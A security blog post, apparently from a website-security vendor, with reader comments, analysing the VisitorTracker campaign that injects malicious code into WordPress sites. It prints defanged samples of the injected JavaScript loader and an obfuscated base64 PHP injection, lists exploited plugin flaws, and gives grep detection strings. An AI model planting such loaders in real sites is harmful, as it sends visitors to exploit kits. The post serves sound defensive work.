WordPress Malware – VisitorTracker Campaign Update

For the last 3 weeks we have been tracking a malware campaign that has been compromising thousands of WordPress sites with the VisitorTracker malware code.

We initially posted some details about this issue on this blog post: WordPress Malware – Active VisitorTracker Campaign, but as the campaign and the malicious code has evolved, we decided provide an update to what is going on.

To give an idea of the size of this campaign, we tracked the number of compromised sites we have detected over the last 3 weeks:


As you can see from the above graph, it started relatively small, peaked about 10 days ago, slowed down again and gained a lot of traction over the last 3 days.

Malware Evolution

The malicious code started very simple. It would modify the headers and footers of the site and add a javascript to redirect visitors to a Nuclear Exploit Kit landing page. These landing pages tried a wide range of available browser exploits to infect the computers of unsuspecting visitors.

That’s pretty normal and a common technique used by malware authors. This is what the code looked like:

var visitortrackerin = setInterval(function(){
if(document.body != null && typeof document.body != "undefined"){
var isChrome = !isIE && !!window.chrome && window.navigator.vendor === "Google Inc.";
if(visitorTracker_ isMob ()){
var visitortrackervs [=] document.createElement("script'); visitortrackervs.src = "http://test.com/components/com_banners/models/main_configuration/watch[.]php?mob=1"; document.getElementsByTagName("head")[0].appendChild(visitortrackervs);
if((isIE && !isChrome && !visitorTracker_isMob())){
var visitortrackervs = document [.] createElement("script"); visitortrackervs[.]src = "http://test.com/components/com_banners/models/main_configuration/watch.php"; document.getElementsByTagName("head")[0][.[appendChild(visitortrackervs);

If you know javascript, you can see that it is creating another remote call to load the content from the watch.php file within the compromised site. That file controlled what Nuclear landing page would be used. It was also used to hide the malware from certains IP addresses and users to make it hard to be detected.

But it evolved…

The original code was easy to spot and easy to debug, so the latest iteration is a lot more complex. It included multiple layers of encodings and the end result was this piece of code injected to every javascript file on the site:

Screen Shot 2015-09-30 at 3.06.49 AM

The PHP code was also modified, but kept using the header/footer files. They added a simple base64 obfuscation that looks like this now:

<?php @ob_start( ); @ini_set('display_errors",0); @error_reporting(0)[;]echo base64_decode [(]"PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcH...

If you suspect your site has been compromised, these are the new indicators of compromise that you should be looking for.

WordPress Exploit Kit

In addition to the evolution of the malware campaign per se, we spent the last 3 weeks trying to identify how these sites were getting hacked. The more sites we investigated, the more diversity we found in the plugins and themes being used.

We can definitely say that there is no single plugin or theme functioning as the sole victim being exploited in this campaign.

The malware group behind this campaign is actually leveraging a type of WordPress Exploit Kit, where they try a combination of exploits against their targets. Some of the more common vulnerabilities being exploited by this kit includes:

  • GravityForms RCE
  • RevSlider RCE
  • Contact Form 7 RFI
  • TimThumb AFU (yes, timthumb still)
  • MailPoet AFU
  • Brute force attempts against the admin account

There are also a few more exploits against other less known vulnerabilities. All these vulnerabilities have patches available, but websites are still running susceptible versions leading to these increased compromises.

Another contributing factor is what we categorize as cross-site-contaminations, where a smaller and less important site are being used to compromise other bigger sites within the same server/account. It happens very often on shared environments where a forgotten debug or testing site is left outdated and then used to mass compromise the server.

Protect your sites!

We detected thousands of sites compromised with this malware within the last 3 weeks and 92+% of them are using WordPress.

If you are a WordPress user, make sure you keep all your plugins updated, including premium ones. I also recommend checking your site via our Free Security / Malware Scanner (SiteCheck) to verify if you’re currently being affected by this campaign. If you’re a system administrator and have access to your server you can use the following command (grep) to search for the infection in your files:

grep -r “PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcH” /var/www/

Once identified, we recommend you proceed with removing the infection and looking for any other indicators of compromise. If you need professional response, our team is standing by to assist.

  1. This should be fairly self-explanatory, especially if you’re the administrator for your server, but your website files may not be in /var/www. For example, it could be ~username/public_html/. Check with your host if you’re not sure what your document root is.

    1. Yes, great point. The most common place is /var/www, but can also be ~/public_html, /var/html and any other place that is set in your config.


  2. I also got hit. Besides

    grep -r -l “PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcH” *

    to mention that

    grep -r -l “|plucker|pocket|psp” *

    in the site’s directory also lists infected files.

  3. I got hit the 2nd of september. Restored from clean backup, but I
    keep a tar.gz of the files of the hack, in case you might be interested.

    I don’t know if it’s exactly the same kind of attack, but I could perform some basic forensics on my files if that could help you.

    The good thing about this attack is that I discovered your plugin and I’m a very happy user since.

  4. I enjoyed the root cause analysis — and am not surprised by the vulnerable plugin list. Any ideas as to if NAXSI powered distribution were vulnerable as well?

    The last snippet of code is a no-brainer, IMHO. Easy enough to setup a bash script on a cron job to check your site root for base64 encode/decode. As a practice, I don’t use plugins that “try” to hide their code, so I wouldn’t anticipate any false positives.

      1. Tobin Hunt would you explain more about “unless you’re posting new images all the time”? How changing “/uploads/gravity_forms” permission will affect the upload of the site? Or you are saying this change will affect the gravity forms upload? Can you explain more to me? tks

        1. gravity forms will need that folder to be writable for it to upload content to it. If you have a frequently updated site, then it won’t be an effective solution. For me, I only write a new post every month or so, I can easily turn the folder back to writable, upload an image and then switch it back to unwritable again.

  5. Contact form 7 is one of the most widely used plugins on WP unfortunately, over a million installs. I’m not well informed about RFI attacks, but would that require the option for file attachments in a form, or are these vulnerabilities present in the vanilla form?

Comments are closed.

You May Also Like